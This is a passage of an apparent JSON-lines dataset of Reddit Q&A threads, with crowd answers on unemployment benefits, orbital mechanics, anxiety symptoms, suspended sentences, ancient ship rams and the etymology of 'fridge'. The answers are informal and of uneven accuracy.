time to prepare for another job? ", "This is basically the idea of [Work for the Dole](_URL_0_), which has been in place for about 17 years now. It's still itself a work in progress and cops its share of criticism, because unemployment is a complicated issue.", "Because unemployment benefit is a fraction of what one would earn with a minimum wage job and it is immoral for the government to make people work for less than they have decided is the minimum amount a person can be paid for work.\n\nIn Britain, one of the main benefits available to unemployed people is \"Jobseeker's Allowance\", formerly known as \"the dole\". An adult without a job, but who is physically and mentally able to have a job is entitled to this. The amounts are here _URL_1_ but TL;DR, you will never be paid more than about \u00a373 (USD113) per week.\n\nBased on a 37.5 hour working week, this is drastically less than minimum wage (\u00a36.50 per hour if you are over 21 years old). Most unemployed people also claim further benefits so that they don't die in a gutter, Housing Benefit for instance with which you can pay a very large proportion of your rent to a private landlord because the government isn't interested in building council houses any more because they are evil Tories. Anyway.\n\nBecause employed people think \"\u00a370 of free money for doing fuck all?? Make those lazy fuckers work. They will want to stay on benefits otherwise and scrounge off the state\" there is a lot of pressure to force unemployed people do do things for their money. At the moment you must regularly go to a Job Centre (a government office found in most major towns) and prove that you are actually looking for a job, hence 'Jobseeker's allowance'. you can't just say \"I don't have a job and I don't want one either, give me some money.\"\n\nAt the Jobcentre, you can get free help to get you employed. They will help you look for vacancies, help you write your CV, help you know what to do in an interview etc and in return you must show willing and initiative (harder for some lazy bastards than others.)\n\nIf you are long term unemployed they start sending you to courses and work experience and things and if you don't go, they stop giving you money, because you're being a cheap scumbag who wants money for nothing. Understandable.\n\nThe controversy comes when the government says to Jonny Jobless \"you've got to do regular 'work experience' to get your money. You can start working for the government (say, sweeping the road for argument's sake) to get the same amount of money.\"\n\nThat's a big massive problem because the government won't want to pay minimum wage to these people because if they did and they needed a streetsweeper they'd just hire one . So what do they do? Make them do it for their JSA money, they may as well be doing something constructive, right? \n\nWell are they a jobseeker any more? Because it looks an awful bloody lot like they're a streetsweeper working for the government for less than a third of what the government has deemed an acceptable amount to pay a person for work, minimum wage (based on a 37.5 working week). The implication with JSA is that because you're not employed, you have time to look for a job, and they fully expect you to be. If, in Britain, you're working for the government for about the average wage of Mongolia (_URL_0_) and supposed to be looking for another job, when the law is that you must be paid three times more at an absolute minimum, that's pretty fucking disgusting.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Work_for_the_Dole"], ["https://en.wikipedia.org/wiki/List_of_countries_by_average_wage", "https://www.gov.uk/jobseekers-allowance/what-youll-get"]]}
{"q_id": "19ihb2", "title": "If you could build a big enough ramp, could you drive a car into orbit?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/19ihb2/if_you_could_build_a_big_enough_ramp_could_you/", "answers": {"a_id": ["c8obobs", "c8oe3er"], "score": [23, 9], "text": ["Yes, but the ramp would have to reach a **very high orbit**, and by that, a much higher orbit than the moon. If the car exits the ramp at 100 km/h  then the ramp will have to reach to an altitude where the orbital speed is 100 km/h.\n\nAlso, the car would have to operate without air and would need to carry an unreasonably large amount of fuel.\n\nEDIT: [63 metres per second at 100000000 km altitude](_URL_0_). Your ramp needs to be one hundred million kilometres high.", "No. The combustion engine in a car doesn't work without oxygen and by the time a ramp was high enough a car would orbit at a speed it could realistically travel at, there wouldn't be enough oxygen to run the engine."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.wolframalpha.com/input/?i=orbital+velocity+at+100000000+km+altitude"], []]}
{"q_id": "3qu20z", "title": "how does a mental illness such as anxiety mimic physical symptoms that could've be due to a physical health issue?", "selftext": "For example, I don't understand how your brain can make you feel chest pain, exhaustion, achy, short of breath, heart palpitations, etc, that could be symptoms of actual physical health issues.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3qu20z/eli5_how_does_a_mental_illness_such_as_anxiety/", "answers": {"a_id": ["cwibja0", "cwicca8", "cwide8w", "cwiemq2", "cwig2a4", "cwigmxz", "cwirzbj", "cwj39fy", "cwj5czi"], "score": [62, 10, 14, 3, 22, 2, 4, 7, 2], "text": ["Anxiety can release adrenaline. Adrenaline can increase heart beat which can cause palpations.\n\nA panic attack causes hyperventilation. This makes a person exhale too much carbon dioxide (which is why they tell you to slow your breathing). Too little C02 in the blood stream (hypocapnia) can cause muscles to tense up. Fingers constrict and cant unbend. Chest muscles tense up too and can cause pain.", "Just as an example, I donated plasma once and afterward they gave me saline. The feeling of cold saline in my veins perfectly mimicked a panic attack. I was so confused because I mentally felt calm, but my body felt like it was having an extreme panic reaction. Another similar thing is when I get really cold and start shaking from something like being outside in the winter, it mimicks the way I feel cold and shake during a flashback. The similarities can actually trigger a flashback.", "Pain only exist in your mind. When you break your leg your leg feels nothing, it is in no pain. However an enormous cascade of electrical signals rush to your brain. Only after your brain interprets it then forms a pain signal to your conscious mind. You are experiencing a electromagnetic signal spectrum that forces you to stop and heal.\n\nAnxiety, depression, etc. cause that exact same spectrum, there is no difference between a physical injury or a mental injury.", "I was once diagnose with hypochondria. At one point for no reason at all I started thinking that I had ALS. Two months into my hysteria of ALS I started physically having  muscle palpitations in my feet. Actual symptom that is actually related to ALS. \nWhich of course further strengthening my hypochondria. \nThe psychiatric actually told me it is possible to have symptoms of what you think you have. In that case it had a name which is BFS - begnign fasciculation syndrome.  ", "Well, for one thing, mental illness *is* a physical illness. \n\nMuch like diabetes is your pancreas having trouble with insulin production, mental illness is brain chemicals (rather than pancreas chemicals) imbalanced, for the most part. \n\nNow, you might have noticed how your brain is the thing that moves your feet when you want to go somewhere, the thing that keeps your digestive system coordinated, and even the thing that regulates your heart rate and how much you sweat. \n\nSo... With that in mind (heh)... If your brain is the sick organ, it stands to reason that it could have some pretty unpredictable effects on your body, depending on the kind of sickness it has. ", "I read somewhere that Tylenol can help with anxiety.  I wonder if it blocks some of the same receptors that transfer information about pain.  Tried it earlier this week during an anxiety attack... it seemed to help. ", "Well, though I'm not sure how accurate this is - generally fatigue is caused by the never ending sense of flight/fight, or to put it simply *huge* amounts of adrenaline coursing through your body.\n\nThis, however for myself *never ends*. \n\nI have GAD, or generalized anxiety disorder, so I'll be literally taking a nap and wake up in sheer terror that I've done something horribly wrong. I call them 'panic naps'. \n\nEven though I'm on 'life leave' due to my incapacity to function (full stop) I *still* get these. \n\nMy 'life leave' occurred last year around this time. I was doing my third (too much grad school) Masters, when my Mom's lung cancer became the incurable sort --- and my brain just noped right the fuck off. \n\nThis is when my Major Depressive Disorder came back. With real live grief! The best way I can explain MDD is to consider a time in your life when you were crippled by sadness. Your body gets tense; crying itself is extremely fatiguing and your thoughts circle the drain into the unknowable and untangible. But the key here *is that it doesn't end, you are forever cycling that drain of*\n\nDeath.\n\nNow, remember your most embarrassing moments and make a mental home movie of those looping over and over. Then a commercial break of considering suicide, sponsored by the inevitable death of your mother, and your failure as a daughter to comfort her in her time of need because what you really want most is to Virginia Wolf yourself.\n\nNow! Add in a healthy dose of insomnia. \n\nAnd then there's the medications which come with an onslaught of various side affects. \nFor instance, if I don't take my GAD medication (Xanax, LOADS of Xanax), for say... two days I am going to go into the most heinous withdrawal conceivable. \n\nI am not lying when I say that it is much worse than an opiate withdrawal, and can kill you and it *feels* like it's killing you.  \n\nLast week I forgot to refill my script. I spent just 4 days without my regular dosage and ended up having a lovely little seizure which make me consume half a cm on the left side of my tongue from biting down so hard. Plus, chills, sweats, muscle spasms and two very disconcerting feelings of depersonalization and derealization **which are the weirdest feeling ever**.\n\nAnd they don't stop - not until you re-up.\n\nThis destroys your immune system because your mind is just trying to figure out wtf is going on, with no sleep and no appetite.\n\nTo put this in perspective my longest withdrawal was 4 months - and the symptoms don't get any kinder. The half life for many psychiatric drugs is maddening^ha^ha^ha^ha. I became a skeletal 95lbs, standing at 5'8 and weak as a kitten. \n\nSo yeah! Fucking shit sucks.    \n\n \n\n    ", "Doc here, I see a lot of this (Neurology).\n\nI'm surprised no one has mentioned the most glaringly obvious reason this happens - our day to day experience in life is absolutely FILLED with inconsequential symptoms that our brain and body naturally filter out.\n\nThink about the onslaught of information overload your brain must deal with each day. Peripheral nerves spontaneously shooting off, either in response to some stimulus (appropriate) or not (inappropriate).\n\nI'm sure everyone can remember a random grabbing pain in one part of their body that came on for no particular reason (ie. you weren't actually being stabbed) and passed just as quickly.\n\nThis is NORMAL. Our body is not perfect, and the brain's mammoth task is mostly to filter the infinite information to make sense of its environment. Is that jabbing pain a potential attack, or is it muscle spasm?\n\nMental health disorders, including anxiety, disrupt the normal pathways that sort through this information. Thus, what was once a transient, benign symptom suddenly becomes interpreted as potentially threatening.\n\nMuch like the Princess and the Pea, once your brain locks in on something and decides it's important, it then focuses additional resources on investigating it further - invariably this means such usually-benign symptoms are increasingly detected, and the symptoms then become self-fulfilling:\n\n\"It'd go away if it was nothing, but now I'm feeling it often, it must be something\".\n\nIt's surprising what kind of symptoms can be manifest in this way - it's common in my specialty, for example, to see people become profoundly weak, as though they had a stroke, but without any detectable damage to muscle, nerves or brain and they usually respond very well to treatment despite not having a 'disease' or 'illness' in the traditional sense.\n\nFascinating thing, the human brain. ", "You seem to be assuming a distinction between brain and body. They are part of the same physical system. Your brain is part of your body, and is physical. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "3arfad", "title": "how do suspended sentences work?", "selftext": "I am nearing the end of my 3rd time on probation. The first time I got 6 months with 28 days suspended, second was 21 months with 120 days suspended, I got a PTR and served a few weeks, right now I got a year with 355 days suspended. These numbers just don't make sense to me...", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3arfad/eli5_how_do_suspended_sentences_work/", "answers": {"a_id": ["csf9rny"], "score": [2], "text": ["Let me offer you the following life pro-tip regarding this:\n\nIf you don't break the law, you don't have to deal with this. \n\nIt's really about that simple. Go to AA, go to NA, stop drinking/getting stoned and driving, stop going out in public naked, and for the love of god, stop hitting cops.\n\nJesus fuck."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9k97ga", "title": "Why did the ship ram fall out of use?", "selftext": "From my understanding, the most common battle tactic in ancient times was to ram the opposing ship (and then board if possible). However, by medieval times, it seems that ships equipped with rams were phased out. Was there any reason for this?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9k97ga/why_did_the_ship_ram_fall_out_of_use/", "answers": {"a_id": ["e6xvjj3", "e6ybshl", "e6z0nnq"], "score": [11, 3, 5], "text": ["Rams were efficacious as a result of the type of construction used in the ancient world.  A greek trireme was 50 tons of wood held together without a single nail or screw.  The only metal in the entire thing was the ram.   the ship was put together [like this](_URL_0_), held together  with wooden dowels and rope and braced with some internal supports.  This meant that (A) the side of the ship was relatively weak and (B) because all the structural strength was in the hull, if you broke the hull you had a pretty good chance of the whole enemy ship breaking up under its own weight.\n\nMedieval (and possibly late roman) galleys were skeleton or frame built rather than hull built.  That is, they were assembled around a internal wooden frame that carried the structural stresses while the hull just kept the water out.  This meant that if you penetrated the hull, you could put a hole in the side of the ship, but you didn't destroy the structural integrity of the whole thing, so collapse was a lot less likely.  This made rams a lot less deadly, so they stopped getting used.  Above water \"rams\" were retained, but for boarding, not sinking enemy ships, and thus aren't properly called rams.\n\nFor more information on ancient greek ships, see Johnathan Hale's Lords of the Sea.  For medieval and early modern galleys, see John Francis guilmartin Gunpowder  &  Galleys and Galleys and Galleons..  ", "Ramming ceased to be the main method of attack, but was still used from time to time when the situation called for it. \n\nFamously, at the Battle of Lissa (1866) the Austrian navy relied heavily on ramming to best the Italians.  This action lead to a increase in interest in ramming, and the development of a small number of ships designed largley around the ram - especially the idea of coupling a ram with the slow/inaccurate torpedoes that had recently been developed (see, for example, the torpedo ram *HMS Polyphemus* or the harbour defence ram *USS Katahdin*).\n\nWhile the idea never took off, that dead end of ship design is forever remembered in one the most famous fictional warship of all time - the torpedo ram *HMS Thunder Child* from H.G. Well's classic *The War of the Worlds*.", "The other answers here have done a fantastic job of showing why, in general ramming as a naval tactic was not as popular in later periods. I'm going to point out that while it was not as popular, ramming ships were not completely phased out by medieval armies. In particular I am going to be using the navy of Alfred the Great as an example. In particular, it's important to know Alfred seems to have developed his navy in the context of a significant Danish/Viking threat. This is adapted from something I wrote earlier this year on Alfred's reforms, but hopefully suits your purposes.  \n\n\n  \n\n > The Anglo-Saxon Chronicle (ASC) reveals that Alfred commissioned the building of several *langscipu*, or long ships, to contest the Danes\u2019 control of the sea.[\\[1\\]](_URL_1_) These boats are attested to being twice as long as those of the Danes with as many as sixty or more oars each.[\\[3\\]](_URL_12_) The same extract from the ASC denotes that these ships were a new model, being swifter, steadier and higher than other ships, and were not made after either the Frisian of Danish models.[\\[4\\]](_URL_6_) It is particularly interesting that the ASC\u2019s author mentions that Alfred\u2019s vessels were not based off the Frisian or Danish ships, as these two peoples were the most adept seafarers of the North Sea in the ninth century.[\\[5\\]](_URL_3_) This may be a nod to Alfred\u2019s hiring of engineers from abroad to design and build these new ships, both Asser and Aethelweard noting particularly prominent Frisians, and potentially less prominent Danes, serving in the West Saxon navy.[\\[6\\]](_URL_10_) While the chronicler does not explicitly say which type of ship Alfred\u2019s vessels were superior to, their use of the word *aescas* to describe the Danes ships in the same passage indicates Alfred\u2019s vessels were being compared to the Danish *askr*, a specific type of Danish craft largely made from ash-wood.[\\[7\\]](_URL_2_) The *askr* was thus a flexible craft, and combined with its long, drawn out body, could make landfall both on coastal beaches and up river. A ship of this type is best preserved at the royal centre of Roskilde, wreck five being eighteen meters long, two and a half meters wide, one meter high and containing twenty four oars.[\\[8\\]](_URL_13_) This style of ship was ideal for Danish purposes, be it \u2018hit-and-run\u2019 raids or for the swift transportation of merchandise to markets. As the *askr* was so well suited to Danish purposes, it may seem surprising that Alfred did not adopt *askar* of his own. Given Sidonius Apollinaris stated that the Saxons were once feared pirates themselves, it might seem odd that Alfred commissioned new ships at all.[\\[9\\]](_URL_8_) Alfred may have actually used similar ships to the *askar* prior to 896, as the ASC records Alfred sending ships against a Danish force in 882.[\\[10\\]](_URL_1_0) Regardless, Alfred\u2019s naval innovation appears to recognise two things; the first was that it was easier to stop raiders at sea before they made landfall, and the second was that the *askr* was primarily a transport vessel, not a war ship. While the *askr\u2019s* length and short sides enabled swift transport, it also made it far easier to board during naval battles.[\\[11\\]](_URL_0_) This is demonstrated well by Johnson\u2019s reconstruction and subsequent sailing of the ships found in Skuldev, who concluded ships such as the *askar* were used primarily for their ability to travel long distances in a relatively short amount of time.[\\[12\\]](_URL_1_2) The West Saxon navy at this time was needed primarily for defence, not long distance journeys for trade or raiding, and Alfred\u2019s new model of ships reflect this. While Alfred\u2019s ships would have been harder to land on a beach due to their size, the increased amount of oars would have meant they could out speed an *askar*. This would have been particularly useful for ramming the raiders boats, a technique that flexible ships akin to the *askar* seem particularly vulnerable to.[\\[13\\]](_URL_1_3) Swanton has gone so far as to argue that as the Old English word *keel* was often equated with the Latin *rostrum*, or \u201cbeak\u201d, it is likely ramming was a common naval tactic of the Anglo-Saxons.[\\[14\\]](_URL_1_4) This technique\u2019s effectiveness was seen in Gifford\u2019s re-enactments of naval ramming using reconstructions of both ship types.[\\[15\\]](_URL_1_5) Thus it seems that ramming was still an effective naval tactic in the medieval period, at least in the context of Alfred's Wessex. \n\n\n\n & #x200B;"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Trireme#/media/File:Mortise_tenon_joint_hull_trireme-en.svg"], [], ["https://www.reddit.com/r/AskHistorians/comments/9k97ga/why_did_the_ship_ram_fall_out_of_use/#_ftn11", "https://www.reddit.com/r/AskHistorians/comments/9k97ga/why_did_the_ship_ram_fall_out_of_use/#_ftn1", "https://www.reddit.com/r/AskHistorians/comments/9k97ga/why_did_the_ship_ram_fall_out_of_use/#_ftn7", "https://www.reddit.com/r/AskHistorians/comments/9k97ga/why_did_the_ship_ram_fall_out_of_use/#_ftn5", "https://www.reddit.com/r/AskHistorians/comments/9k97ga/why_did_the_ship_ram_fall_out_of_use/#_ftn13", "https://www.reddit.com/r/AskHistorians/comments/9k97ga/why_did_the_ship_ram_fall_out_of_use/#_ftn14", "https://www.reddit.com/r/AskHistorians/comments/9k97ga/why_did_the_ship_ram_fall_out_of_use/#_ftn4", "https://www.reddit.com/r/AskHistorians/comments/9k97ga/why_did_the_ship_ram_fall_out_of_use/#_ftn12", "https://www.reddit.com/r/AskHistorians/comments/9k97ga/why_did_the_ship_ram_fall_out_of_use/#_ftn9", "https://www.reddit.com/r/AskHistorians/comments/9k97ga/why_did_the_ship_ram_fall_out_of_use/#_ftn10", "https://www.reddit.com/r/AskHistorians/comments/9k97ga/why_did_the_ship_ram_fall_out_of_use/#_ftn6", "https://www.reddit.com/r/AskHistorians/comments/9k97ga/why_did_the_ship_ram_fall_out_of_use/#_ftn15", "https://www.reddit.com/r/AskHistorians/comments/9k97ga/why_did_the_ship_ram_fall_out_of_use/#_ftn3", "https://www.reddit.com/r/AskHistorians/comments/9k97ga/why_did_the_ship_ram_fall_out_of_use/#_ftn8"]]}
{"q_id": "2jv2ut", "title": "why does fridge have a \"d\" in it, but refrigerator doesn't?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2jv2ut/eli5_why_does_fridge_have_a_d_in_it_but/", "answers": {"a_id": ["clfdxwe", "clfe67a", "clfecgc", "clfeis8", "clffha2", "clffsbz", "clfg56o", "clfg61m", "clfgdqd", "clfgemq", "clfgku6", "clfh6h5", "clfhhwt", "clfhrif", "clfhsdk", "clfhybs", "clfi2l7", "clfibdo", "clfjpeq", "clfjru0", "clfjwa8", "clfk0ui", "clfk53g", "clfkeo9", "clfkgp9", "clflcba", "clfndwo", "clfpex1", "clfqv6k", "clfyaim", "clfz4ys", "clfzgl2", "clfztey", "clg0c13", "clg0pah", "clg1cc2", "clg2t2v"], "score": [286, 77, 8, 3, 33, 2, 2, 4, 3, 2468, 5, 2, 2, 5, 2, 43, 4, 15, 5, 3, 3, 3, 2, 2, 28, 2, 2, 3, 3, 2, 3, 5, 13, 6, 4, 2, 3], "text": ["I always thought it stemmed from the brand \"Frigidaire\" being shortened and adopted. Like Kleenex or Ziploc for facial tissue and plastic baggies.", "I was taught the OED explanation that it was a play on the brand-name Frigidaire. As an applied linguist, I can tell you that we could do a corpus analysis if we could find enough texts from that period to determine which words were used more frequently during what periods of time to trace the development of this term but that would take time and money. So, unless you are a rich eccentric, I'd probably stick with the OED explanation.", "Because frig is pronounced frig and frige is pronounced frige. If you want to approximate the same sound you have to spell it fridge. Seems super simple to me, TBH, not sure why you'd have to look farther than this.  ", "Because saying \"frige\" sounds like saying \"fry-ge\", which is just silly. The D is there to make it sound like you're actually abbreviating \"refrigerator\". ", "Because English has more exceptions than rules?", "Remember how you call it a band-aid, Q-tip and chapstick. These are the company names not the item name.  In the U.S. during the 40's and 50's everyone pretty much had a GE Frigid-aire.  Thats why grandma always yells at me to get out of the frigid-aire!  They were called that no matter what ya owned.  Somethings tend to stick even when changed.  So when the name became less and less synonymous with refrigerators it shortened to fridge. ", "Because human languages for the most part do not evolve solely according to rationale.", "Because a) Fridge is a shorthand term that came from the original term \"Refrigerator\" ie. Refrigerator came first.\n\nWhich follows on to b) If we simply pulled the series of letters straight out of \"Refrigerator\" we'd have \"Frige\" which would pronounced \"Fry-eg\" (as one syllable obviously) and therefore requires the 'd' to maintain consistent pronunciation.\n\nHonestly though, if I was unfamiliar with the term \"Refrigerator\", English norms would probably have me saying \"frig\" in the middle instead of \"fridge\" as we do.\n\nI didn't study linguistics though so sorry if my explanation is badly worded", "It's called euphony, the Japanese do it all the time. Hyaku is the word for hundred: hyaku, nihyaku= 1 hundred, 2 hundred, however, sanhyaku for 300 doesn't roll of the tongue too well, so they change the, \"h\" sound to a ,\"b\" sound: sanbyaku.\n\nI would wonder if that is where the, \"d\" comes in on this as well.", "What happened was that one of the words *refrigerator* or *frigidaire* was reduced to *fridge*. That is called a [clipping](_URL_5_).\n\nThat clipping (as every language change really) happened in the **spoken** language, not the written. That's why I'm gonna use an [IPA](_URL_2_) transcription to better illustrate the process:\n\n/\u0279\u026a\u02c8**f\u0279\u026ad\u0292**\u0259\u02cc\u0279e\u026at\u025a/ - >  /f\u0279\u026ad\u0292/\n\nSo the word /f\u0279\u026ad\u0292/ had entered the English language. The question was how to spell it. Even though English orthography is notorious for being unsystematic and unreliable, there are some principles. In this case, the spelling *fridge* is analogous to that of similar, rhyming words like /b\u0279\u026ad\u0292/, /\u0279\u026ad\u0292/ or /m\u026ad\u0292/. No word ending in /-\u026ad\u0292/ is spelled with  < -ige > .  < -ige >  usually represents /-a\u026ad\u0292/ as in *oblige*.\n\nI hope that explanation made some sense.\n\n*****\n\nEDIT: TLDR: English spelling is a clusterfuck. The word is spelled with a  < d >  because other words that rhyme are spelled that way. For example \"ridge\", \"fridge\".\n\nEDIT 2: To people complaining about the IPA: The problem is that English orthography isn't very good at representing the sounds of English. Since language primarily is a spoken medium (written language is just a graphical representation of a spoken system) it doesn't make much sense to discuss things like how *fridge* was created using the English orthography. The IPA provides a tool to accurately talk about *sounds*. See also edit 5 below.\n\nEDIT 3: For those who missed the link, here it is again: [WP explanation of how English is represented using the IPA](_URL_2_). It's a lot more ELI5 than my answer. See also edit 5 below.\n\nEDIT 4: Obligatory /\u03b8\u00e6\u014bks f\u025a \u00f0\u0259 go\u028ald ~~st\u0279e\u026and\u0292\u025a~~ l\u026an\u0259ksfo\u028ani/\n\nEDIT 5: Why use the IPA? What is it, anyway? (Please note that this is extremely hard to explain to bunch of literal-or-not-so-literal five year olds, but I'll try)\n\nSo here's my ELI5 for IPA and why English spelling is a clusterfuck: So the common concept of e.g. a \"word\" most people have is that there is a written word (like  < edge > ) and that this word has a \"pronunciation\" ( < edge >  = /\u025bd\u0292/). In linguistics, the scientific study of language, a completely different concept is used: The English word /\u025bd\u0292/ is *represented* using the letter combination  < edge > . The word in a speakers head consists of the sounds /\u025b/ (like in  < bed > ) and /d\u0292/ (like in  < jar > ) and not of the letters e, d, g, e.\n\nWhy? Think about it this way: Spoken language is the \"real\" language. It existed long before the invention of writing. There are many languages that are ~~hardly ever~~ (usually) not written, but they work perfectly fine! So written language is just a representation of the actual linguistic system that speakers of a language use. \n\nUnfortunately, English orthography is pretty fucked up and doesn't represent the actual spoken language very well. This mostly has to do with [sound changes](_URL_1_) that happened in English, but weren't adapted in the orthography. For example,  < bite >  was probably once pronounced something like /bi\u02d0t\u0259/ ([here's an approximation how that sounds using the German  < biete > ](_URL_3_)), but then the [Great Vowel Shift](_URL_4_) happened and the long /i\u02d0/ was changed to /a\u026a/. Also, the final /-\u0259/ was lost. Today, the word is pronounced /ba\u026at/, but it's still spelled the way it was 800 years ago.\n\nThe [IPA](_URL_0_) attempts to represent spoken language by using a (supposedly) universally (for all languages) applicable set of signs which represent sounds that are common across the languages of the world.\n\nThat's just a very rough breakdown of what the IPA is and how it is used, but I hope it cleared up some questions people have.\n\nEDIT 6: For people who have questions about linguistics and language which are not related to this comment: I suggest you head over to /r/asklinguistics or the weekly Q & A thread in /r/lingustics (no self posts please). There you'll find much more knowledgeable people than me. ", "Fridge is short for Frigidaire,  a popular first brand of refrigerator.", "From \"etymonline\": \n\n >  refrigerator (n.)\n    1610s, \"something that cools,\" agent noun from refrigerate. As \"cabinet for keeping food cool,\" 1824, originally in the brewery trade, in place of earlier refrigeratory (c.1600). The electric-powered household device was available from c.1918.\n\n\n >  fridge (n.)\n    shortened and altered form of refrigerator, 1926, perhaps influenced by Frigidaire (1919), a popular early brand name of the appliances. Frigerator as a colloquial shortening is attested by 1886.\n\n >  refrigerate (v.)\n    1530s, back-formation from refrigeration, or else from Latin refrigeratus, past participle of refrigerare \"make cool or cold.\" Related: Refrigerated; refrigerating. Earlier words in the same sense of \"to make cold, to cool\" were infrigiden, infrigidate (both early 15c.).\n\nThese are the etymologies (historical origins) of all relevant words. As for \"why\" there's a \"d\" in there: it could possibly be due to the fact that \"frige\" could be perceived as having a \"soft g\" or \"j\" in English orthography, whereas \"fridge\" is more clearly similarly pronounced to the same combination of letters in \"judge\", \"bridge\", etc. That's purely speculative, of course, but it's at least an educated guess.", "\"refrigerator\" ultimately came from [Latin *refrigerationem*] (_URL_1_). [Google Translate audio](_URL_0_) renders that \"g\" sound similarly to how we say it in English, and it was no big deal to keep the Latin-ish spelling (although we could have rendered it \"refridgerator\" if we had been so inclined).\n\nTechnically, when shortening to \"fridge\", we could have assigned any spelling we wanted, but it makes more sense to follow established spelling patterns, such that the word \"looks\" English and so that the pronunciation can be identified by reference to other words; in this case, \"bridge\", \"ridge\", etc. \n\n\"fridj\", \"fridje\", \"frij\", \"frige\", \"frig\", etc, do not follow standard English spellings for the \"dj\" sound, thus neither \"look right\" nor immediately bring the intended pronunciation to mind.", "Refrigerator is the device.\nFrigidaire was/is a popular maker of this device, so much so that their name became closely associated with refrigerators. \nInstead of saying the full name Frigidaire (which many people do anyway, even if the refrigerator is not Frigidaire brand) others opted to shorten it to just \"Fridge.\"", "Why is the Suffix of \"absorB\" \"apsorPtion\" !!!!??", "ELI5: why does a post containing the phrase \"have a D in it\" have such a high percentage of deleted comments. ", "Well, would frige sound right as a word?", "Because \"FRIDGE\" is not short for \"refrigerator\"... it's short for the brand \"FRIGIDAIRE\"... back then products were named after the most popular brands. So toothpastes  would be called Colgate, and so on.", "\"Frig\" (hard G) was already a word with [obscene connotations.](_URL_1_).\n\n\"Frij\" sounds right, but [no words end in \"ij\"](_URL_0_) \n\n\"Ridge\" rhymes with \"frij\"\n\nQED", "I was under the impression is was because Fridgedair was the most popular brand when the product was revolutionizing how we store food. ", "its like why does four have a u in it but forty doesn't?", "Same reason why Mike is short for Michael. It's just an informal shortening of a longer word, which sometimes takes on a phonetic spelling.", "the d helps the sound of the g.  \"dg\"  as opposed to \"gee\".\n\nfrigee.  makes no sense. pfff.\n\n'the hell do i know?  i'm out of my element.", "These sorts of things need to be fixed. Just because it is, doesn't mean it has to be. Petition to add a \"D\" to refrigerator? _URL_0_ here I come!", "TIL that refrigerator doesn't have a \"D\" in it", " > That's why I'm **gonna**....\n\nJust think about all the mutations that had to happen to the word \"go\" to get to \"gonna\".\n\nFrom the transitive verb itself to the helping verb \"going to\" for future tense to the eventual shortening and compacting to arrive at gonna.\n\nAll languages do this because it is in human nature to make language more efficient. The problem though is that once words and phrases become shortened people then have a tendency to expanded them again to add emphasis and expressiveness and the process of \"clipping\" starts anew.", "Because the english language is the platypus of languages.", "This distinction exists because of differences between sound and spelling. Graphemes, or letters in a language, can actually represent multiple sounds. Let's consider the d/g distinction: the \"g\" in refrigerator is different than the \"g\" in a word like king. Say the words out loud and you'll hear the difference. \n\nThere are some meta languages that account for these sound differences. An example is the [International Phonetic Alphabet](_URL_0_). This alphabet's graphemes represent phones in 1 to 1 relationship so symbol=sound. \n\nThe difference in your example is between the \"g\" as voiced alveolar fricative (that's just a bunch of terms explaining how and where your mouth makes a sound) and the velar plosive g in king of girl. \n\nHow did this distinction happen? When words or shortened or \"clipped\", they are modified by speakers to make sense phonetically. If everyone recognized \"frige\" to be the shortened version then you might be asking a different question!", "Folran is wrong. The colloquial term \"fridge\" is short for the manufacturer Fridgedaire. It's that simple. ", "It's phonetically spelled and said that way according to the International Phonetic Alphabet. \n\nFridge: fr\u026ad\u0292\n\nRefrigerator: r\u0259fr\u026ad\u0292\u0259ret\u0259r\n\n(Source: Linguistics and Speech Language Pathology)", "Because English has evolved and is fucking stupid. ", "If we didn't add the \"d\", then it would be \"frig\" as in \"no friggin' way!\" This has been a [minced oath for \"fuck\" for almost 1000 years.](_URL_0_)", "Because d before g except after refri.", "Because one of the first successful refrigerators was Frigidare brand...people started calling all of them fridges regardless of the brand.", "It is influenced by the spelling of words like \"bridge\" and \"ridge\", which have the same sound a -frig- in the English pronunciation of refrigerator (which is a loan from Latin).", "Protip:  Search Craigslist for \"refridgerator\" or \"frige\".  The good deals on these postings won't be gone- because no one's seen them.", "Probably because they are two different words."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/International_Phonetic_Alphabet", "http://en.wikipedia.org/wiki/Sound_change", "http://en.wikipedia.org/wiki/Help:IPA_for_English", "http://www.forvo.com/word/biete/", "http://en.wikipedia.org/wiki/Great_Vowel_Shift", "http://en.wikipedia.org/wiki/Clipping_%28morphology%29"], [], [], ["https://translate.google.com/#la/en/refrigerationem", "http://www.etymonline.com/index.php?term=refrigeration&amp;allowed_in_frame=0"], [], [], [], [], [], ["http://www.scrabblefinder.com/ends-with/IJ/", "http://en.wiktionary.org/wiki/frig"], [], [], [], [], ["change.org"], [], [], [], ["http://i.imgur.com/3dDydjq.png"], [], [], [], ["http://en.wiktionary.org/wiki/frig"], [], [], [], [], []]}
{"q_id": "7pilrk", "title": "how come daddy long legs are called \u2018daddy\u2019?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7pilrk/eli5_how_come_daddy_long_legs_are_called_daddy/", "answers": {"a_id": ["dshiw1v"], "score": [20], "text": ["There are three species of arachnid called \"Daddy Long-Legs\", and one of them absolutely is a spider (commonly known as cellar spiders). There is also a species of fly called \"Daddy Long-Legs\".\n\nSadly, the reason for the name \"daddy\" has been lost to time. No one can seem to nail down the origin or reasoning behind it.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
